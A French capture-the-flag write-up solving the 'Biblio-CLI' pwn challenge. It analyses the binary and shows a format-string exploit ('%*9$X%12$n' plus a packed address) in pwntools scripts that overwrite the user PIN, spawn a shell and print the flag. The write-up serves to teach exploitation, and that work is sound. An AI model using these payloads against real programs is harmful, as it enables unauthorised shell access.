Biblio-CLI
La BU a engagé un étudiant qui commence sa license info à l'UBS de développer un portail cli ! Montrez lui qu'il faut connaître les subtilités des langages qu'on utilise :)
Pour ce challenge, on ne nous donne que le fichier executable.
Analyse
Avant toute chose, il est toujours une bonne idée de run les commandes suivantes pour avoir une premiere idée de avec quoi on travaille :
terminalbash$- file ./biblio ./biblio: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=52b7f4721c46614a98cfc940effd1321ea81730a, for GNU/Linux 3.2.0, not stripped $- checksec --file=biblio RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 54 Symbols No 0 3biblio
On a donc un executable ELF64 pour linux x86-64, non stripped. Avoir ces informations pourrait nous aider plus tard dans la résolution du chall. On voit également que :
- Le fichier à été compilé avec partial RELRO
- Canary est actif (protection contre buffer overflow)
- Le NX bit est actif (protection contre injection de shellcode sur la stack)
- PIE est inactif (les adresses ne sont pas randomisées)
Execution
On va ensuite executer le fichier pour avoir une premiere idée de ce qu'il fait :
terminalbash$- ./biblio PORTAIL BIBLIO Bienvenue sur le portail CLI de la bibliothèque universitaire !!! Pour le moment, seul un listing des livres est disponible pour les étudiants. Cependant, si vous entrez le pin secret admin alors vous pourrez tester les fonctionnalités secrètes ! > ID étudiant: bowie > Password: pass123 > PIN code: 456 Welcome, bowie Thanks for visiting, here is our catalog : Segmentation fault (core dumped)
L'executable demande 3 entrées utilisateur :
- L'ID étudiant (ici j'ai mis bowie en exemple)
- Le password (ici j'ai mis pass123 en exemple)
- Le PIN code (ici j'ai mis 456 en exemple)
On observe que le programme renvoie l'ID étudiant choisi puis essaye d'afficher un catalogue mais crash (erreur SIGSEV).
Le programme nous dit que pour tester les fonctionnalités secrètes, il faut entrer le pin secret admin. On se doute alors que c'est l'ojectif du challenge.
En relisant l'énnoncé, on se rend compte qu'il faut exploiter une "subtilité" du language utilisé, on pense directement aux deux failles les plus communes :
- L'exploit de buffer overflow
- L'exploit de format string
Note: il est conseillé de lire la page de wiki sur les buffer overflow et surtout celle sur les format string avant de continuer ce writeup.
Tests
On teste alors de buffer overflow en entrant une tres longue chaine de caractères dans les champs d'entrée de texte :
terminalbash$- ./biblio PORTAIL BIBLIO Bienvenue sur le portail CLI de la bibliothèque universitaire !!! Pour le moment, seul un listing des livres est disponible pour les étudiants. Cependant, si vous entrez le pin secret admin alors vous pourrez tester les fonctionnalités secrètes ! > ID étudiant: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Password: PIN code: Welcome, aaaaaaaaaaa Thanks for visiting, here is our catalog : Segmentation fault (core dumped)
On remarque que le programme ne m'a pas laissé écrire dans les champs Password et PIN code. C'est un comportement typique d'un programme limitant un input a une certaine longueur : si l'utilisateur entre une chaine trop longue, l'exces passe dans le champ d'apres. Mais bon on observe toujours le meme crash et il est difficile de savoir s'il a été causé par un buffer overflow ou si c'est le même qu'avant.
Etant donné que le programme affiche l'ID étudiant, on tente ensuite d'entrer un string specifier dans le premier input :
terminalbash$- ./biblio PORTAIL BIBLIO Bienvenue sur le portail CLI de la bibliothèque universitaire !!! Pour le moment, seul un listing des livres est disponible pour les étudiants. Cependant, si vous entrez le pin secret admin alors vous pourrez tester les fonctionnalités secrètes ! > ID étudiant: %p > Password: pass123 > PIN code: 456 Welcome, 0x2c656d6f636c6557 Thanks for visiting, here is our catalog : Segmentation fault (core dumped)
Bingo ! Le programme retourne une valeur hex plutot random, on a donc une belle format string vulnerability.
Mais bon, a priori il suffit de trouver la valeur du pin secret admin pour réussir le challenge. Pour trouver cette valeur, on ouvre l'executable dans cutter et on regarde la fonction main dans le decompiler :
undefined8 main(int argc, char **argv) { int64_t iVar1; undefined8 in_R8; undefined8 in_R9; int64_t in_FS_OFFSET; char **var_58h; int var_4ch; unsigned long long var_40h; char *format; char *var_28h; int64_t canary; canary = *(int64_t *)(in_FS_OFFSET + 0x28); setvbuf(_stdin, 0, 1, 0, in_R8, in_R9, argv); setvbuf(_stdout, 0, 1, 0); setvbuf(_stderr, 0, 1, 0); banner(); puts("Bienvenue sur le portail CLI de la bibliothèque universitaire !!!"); puts("Pour le moment, seul un listing des livres est disponible pour les étudiants."); puts("Cependant, si vous entrez le pin secret admin alors vous pourrez tester les fonctionnalités secrètes !\n"); iVar1 = gen_random_pin(); printf("\nID étudiant: "); fgets(&format, 0xc, _stdin); printf("Password: "); fgets(&var_28h, 0x14, _stdin); printf("PIN code: "); __isoc99_scanf(data.00402470, USER_PIN); printf("Welcome, "); printf(&format); puts("\nThanks for visiting, here is our catalog : \n"); if (iVar1 == _USER_PIN) { puts("Bienvenue admin ! Voici votre panel ;)"); system("/bin/sh"); } else { book_list(); } puts("\nSee you soon !"); if (canary != *(int64_t *)(in_FS_OFFSET + 0x28)) { // WARNING: Subroutine does not return __stack_chk_fail(); } return 0; }
On remarque directement les lignes qui nous interessent :
__isoc99_scanf(data.00402470, USER_PIN); (...) if (iVar1 == _USER_PIN) { puts("Bienvenue admin ! Voici votre panel ;)"); system("/bin/sh"); }
Le programme compare donc une entrée utilisateur et la variable iVar1 (correspondant au pin admin de l'énoncé) et si les deux valeurs sont égales, ouvre un shell.
Cela confirme donc nos suspicions, il faut trouver un moyen de récupérer le pin admin pour réussir le chall.
Premiere approche - Trouver le pin
On regarde alors comment est défini iVar1 :
int64_t iVar1; iVar1 = gen_random_pin();
Le pin est donc un entier et prend sa valeur de la fonction gen_random_pin(). Une première idée serait de voir si on peut prévoir le résultat pour trouver le pin admin. Pour ça, on va voir la fonction de définition du pin dans le decompiler :
int64_t gen_random_pin(void) { undefined4 uVar1; int32_t iVar2; int64_t in_FS_OFFSET; int fildes; int seed; int64_t canary; canary = *(int64_t *)(in_FS_OFFSET + 0x28); uVar1 = open("/dev/urandom", 0); seed = 0xffffffffffffffff; read(uVar1, &seed, 8); close(uVar1); srand(seed & 0xffffffff); iVar2 = rand(); if (canary != *(int64_t *)(in_FS_OFFSET + 0x28)) { // WARNING: Subroutine does not return __stack_chk_fail(); } return (int64_t)(iVar2 % 0x10000); }
Si on extrait uniquement la logique utile de la fonction, ça donne :
uVar1 = open("/dev/urandom", 0); // On ouvre /dev/urandom (un générateur d'aléatoire) read(uVar1, &seed, 8); // On lit 8 bytes de données depuis le générateur d'aléatoire qu'on stocke dans seed close(uVar1); // On ferme /dev/urandom srand(seed & 0xffffffff); // On définit la seed de rand() à (seed AND 0xffffffff) iVar2 = rand(); // On appelle la fonction rand() qui retourne un nombre // pseudo-aléatoire basé sur la seed (seed AND 0xffffffff) return iVar2 % 0x10000; // On retourne le résultat de la fonction rand()
Ce code génere un pin admin completement aléatoire. Il est donc impossible de le trouver à l'avance.
Seconde approche - réécrire le pin admin
On sait déjà qu'on à une faille de type format string. Grace a celle-ci, on devrait pouvoir écrire ce qu'on veut où on veut en mémoire.
En théorie, il suffirait juste de réécrire la variable iVar1 à une valeur qu'on connait et qu'on entrerait dans le pin. Les deux valeurs seraient alors égales et le programme nous enverrai donc un shell admin.
Par exemple, on pourrait essayer d'écrire 0 dans iVar1 grace au format specifier %n puis d'écrire 0 dans l'entrée utilisateur du pin.
Il ne nous reste plus qu'a trouver où écrire, soit trouver l'adresse de iVar1 en mémoire. Pour cela, on ouvre le debbuger GDB et on désassemble l'executable :
terminalbash$- gdb ./biblio > (gdb) set disassembly-flavor intel > (gdb) disas main
Pour trouver l'adresse du pin admin, on cherche sa définition :
0x0000000000401522 <+184>: call 0x40132c <gen_random_pin> 0x0000000000401527 <+189>: mov QWORD PTR [rbp-0x38],rax
On trouve donc que l'éxécutable appelle la fonction gen_random_pin puis stocke son retour (RAX) à l'adresse [rbp - 0x38].
L'adresse du pin admin est donc relative à RBP, ce qui veut dire que pour trouver son adresse, on va devoir trouver la valeur de RBP.
Note: RBP est le Base Pointer, c'est un pointeur vers la base (le bas) de la stack.
Cependant, l'adresse de la stack change à chaque execution. On aurait donc besoin de trouver l'adresse de RBP avant d'entrer notre format specifier. Or on n'a aucun moyen de récuperer l'adresse de RBP, et donc celle du pin admin, avant la vulnérabilité format string.
Troisième approche - réécrire le pin utilisateur
En relisant l'assembly renvoyé par GDB, on tombe sur cette ligne :
0x0000000000401597 <+301>: lea rax,[rip+0x2b12] # 0x4040b0 <USER_PIN>
Le commentaire nous dit que le USER_PIN (soit le pin entré par l'utilisateur) est stocké à l'adresse 0x4040b0. Il ne s'agit donc pas d'une adresse relative à la stack et elle reste constante entre les executions. On a l'adresse avant la vulnérabilité format string, il nous est donc possible d'y écrire ce qu'on veut grace au format specifier %n.
On sait donc où écrire, mais toujours pas quoi écrire. En effet, on cherche à écrire la valeur du pin admin dans la variable USER_PIN. Mais, le pin admin étant aléatoire, il change à toutes les éxécutions.
Cependant, on sait également qu'il est stocké sur la stack (à $RBP - 0x38) et qu'on peut retourner des valeurs depuis la stack avec les failles format string. Il suffit juste de trouver la position du pin admin par rapport à RSP. Pour ça, on ouvre GDB et on affiche la stack au moment de la vulnérabilité :
terminalbash$- gdb ./biblio > (gdb) break *main+363 # ici 363 est l'offset dans main du printf vulnérable Breakpoint 1 at 0x4015d5 > (gdb) run PORTAIL BIBLIO Bienvenue sur le portail CLI de la bibliothèque universitaire !!! Pour le moment, seul un listing des livres est disponible pour les étudiants. Cependant, si vous entrez le pin secret admin alors vous pourrez tester les fonctionnalités secrètes ! > ID étudiant: bowie # valeur d'exemple > Password: password # valeur d'exemple > PIN code: 1234 # valeur d'exemple Breakpoint 1, 0x00000000004015d5 in main () > (gdb) x/x $rbp - 0x38 # on affiche la valeur du pin admin (à $rbp - 0x38) 0x7fffffffda68: 0x0000000000006063 # => aléatoire > (gdb) x/16x $rsp # on affiche 16 valeurs depuis la stack 0x7fffffffda50: 0x00007fffffffdbc8 0x0000000100000000 0x7fffffffda60: 0x0000000000000000 0x0000000000006063 0x7fffffffda70: 0x69776f6200000000 0x0000000000000a65 0x7fffffffda80: 0x64726f7773736170 0x00007ffff7fe000a 0x7fffffffda90: 0x00007fffffffdb80 0x3d405aa9a555dc00 0x7fffffffdaa0: 0x00007fffffffdb40 0x00007ffff7c2a1ca 0x7fffffffdab0: 0x00007fffffffdaf0 0x00007fffffffdbc8 0x7fffffffdac0: 0x0000000100400040 0x000000000040146a
On se rends compte que la valeur aléatoire du pin admin est également dans la stack, 3 adresses adresses après RSP, soit à $RSP + 24 :
terminalbash> (gdb) x/x $rsp + 24 0x7fffffffda68: 0x0000000000006063
Cela veut dire qu'il s'agit du 9eme parametre du printf.
On peut visualiser ca en entrant le format specifier "%9$p" dans l'entrée PIN :
terminalbash> (gdb) run PORTAIL BIBLIO Bienvenue sur le portail CLI de la bibliothèque universitaire !!! Pour le moment, seul un listing des livres est disponible pour les étudiants. Cependant, si vous entrez le pin secret admin alors vous pourrez tester les fonctionnalités secrètes ! > ID étudiant: %9$p > Password: password > PIN code: 1234 Breakpoint 1, 0x00000000004015d5 in main () > (gdb) x/x $rbp - 0x38 0x7fffffffda68: 0x00000000000029cb # pin admin > (gdb) continue Continuing. Welcome, 0x29cb Thanks for visiting, here is our catalog : Program received signal SIGSEGV, Segmentation fault.
On se rends compte qu'on retrouve bien le pin admin dans le 9eme pararmetre.
Jusqu'a présent, on à toujours eu une valeur statique à écrire avec le specifier %n. Ce dernier écrivant le compte du nombre de caractères écrits jusque la, on utilisait un autre format spécifier pour écrire un certain nombre de caracteres :
"%[valeur]X"
Par exemple pour écrire 150 caracteres :
"%150X"
Il s'agit de la syntaxe de la spécification de largeur. Cependant, il existe un moyen de prendre une valeur d'un paramètre pour la mettre dans cette spécification de largeur :
"%*[paramNo]$X"
Par exemple pour prendre le 13eme parametre :
"%*13$X"
En combinant cela avec le specifier %n, on peut prendre une valeur depuis un parametre, et l'écrire où on veut en mémoire.
Dans notre cas, la valeur du pin admin se trouve dans le 9eme parametre. Le paylaod ressemblerait donc à ça :
"%*9$X%??$n"
Il ne nous reste plus qu'a ajouter l'adresse où écrire dans le payload pour indiquer au %n à quelle adresse écrire. Cependant, notre base de payload fait 10 caracteres de long et l'input de l'id étudiant (l'input vulnérable) ne prends que maximum 12 caracteres (11 caracteres + 1 null char, donc plutôt 11 caracteres utiles) :
fgets(&format, 0xc, _stdin);
Entrée
cRésultat
12On n'a donc pas la place d'ajouter l'adresse (4 caracteres) apres notre payload.
Heureusement, on a toute la place de la mettre dans l'input d'apres pour le password. Il suffit juste de le trouver dans la stack pour savoir à quel parametre il correspond :
terminalbash> (gdb) run PORTAIL BIBLIO Bienvenue sur le portail CLI de la bibliothèque universitaire !!! Pour le moment, seul un listing des livres est disponible pour les étudiants. Cependant, si vous entrez le pin secret admin alors vous pourrez tester les fonctionnalités secrètes ! ID étudiant: bowie Password: aaaaaaaa PIN code: 1234 Breakpoint 2, 0x00000000004015d5 in main () > (gdb) x/16x $rsp 0x7fffffffda50: 0x00007fffffffdbc8 0x0000000100000000 0x7fffffffda60: 0x0000000000000000 0x000000000000433f 0x7fffffffda70: 0x69776f6200000000 0x0000000000000a65 0x7fffffffda80: 0x6161616161616161 0x00007ffff7fe000a 0x7fffffffda90: 0x00007fffffffdb80 0x7e58ba275823f700 0x7fffffffdaa0: 0x00007fffffffdb40 0x00007ffff7c2a1ca 0x7fffffffdab0: 0x00007fffffffdaf0 0x00007fffffffdbc8 0x7fffffffdac0: 0x0000000100400040 0x000000000040146a
Entrée
aaaaaaaaRésultat
6161616161616161On retrouve notre input de password (0x6161616161616161) dans la stack 6 adresses apres RSP soit à $RSP + 48 :
terminalbash> (gdb) x/x $rsp + 48 0x7fffffffda80: 0x6161616161616161
Cela correspond donc au 12eme parametre du printf.
On a donc deux payloads, un pour l'input id étudiant et un pour l'input password :
- ID étudiant : "%*9$X%12$n" -> On remplace les ?? par 12 car l'adresse est au 12eme parametre
- Password : p64(0x4040b0) -> On met donc l'adresse au 12eme parametre
On peut donc maintenant créer notre exploit en local :
from pwn import * payloadID = b"%*9$X%12$n" paylaodPassword = p64(0x4040b0) payloadPIN = b"1234" # la valeur en entrée du pin n'importe pas, elle sera réécrite dans tout les cas with open('test','wb') as f: f.write(payloadID + b"\n" + paylaodPassword + b"\n" + payloadPIN + b"\n") # on rajoute des retours a la ligne entre les payloads
Puis le tester :
terminalbash$- python3 exploit.py
terminalbash> (gdb) run < test PORTAIL BIBLIO Bienvenue sur le portail CLI de la bibliothèque universitaire !!! Pour le moment, seul un listing des livres est disponible pour les étudiants. Cependant, si vous entrez le pin secret admin alors vous pourrez tester les fonctionnalités secrètes ! ID étudiant: Password: PIN code: Welcome, (...) Thanks for visiting, here is our catalog : Bienvenue admin ! Voici votre panel ;)
Parfait ! L'exploit marche en local et nous ouvre bien un shell.
Il ne reste plus qu'a l'executer en remote :
from pwn import * p = remote("HOST", PORT) payloadID = b"%*9$X%12$n" paylaodPassword = p64(0x4040b0) payloadPIN = b"1234" p.send(payloadID + b"\n" + paylaodPassword + b"\n" + payloadPIN + b"\n") p.interactive()
terminalbash$- python3 exploit.py [x] Opening connection to HOST on port PORT [x] Opening connection to HOST on port PORT: Trying XX.XX.XX.XX [+] Opening connection to HOST on port PORT: Done [*] Switching to interactive mode PORTAIL BIBLIO Bienvenue sur le portail CLI de la bibliothèque universitaire !!! Pour le moment, seul un listing des livres est disponible pour les étudiants. Cependant, si vous entrez le pin secret admin alors vous pourrez tester les fonctionnalités secrètes ! ID étudiant: Password: PIN code: Welcome, (...) Thanks for visiting, here is our catalog : Bienvenue admin ! Voici votre panel ;) > ls biblio book.db flag.txt > cat flag.txt NBCTF{f0rm4t_5tr1ng5_c4n_4ls0_c0py_64e8321b4e4dc42}
Bingo ! On trouve le flag en clair !
Super chall, grave original, c'est la premiere fois que j'utilise la spécifications de largeur comme ça.
Bravo à tout ceux/celles qui ont suivi :)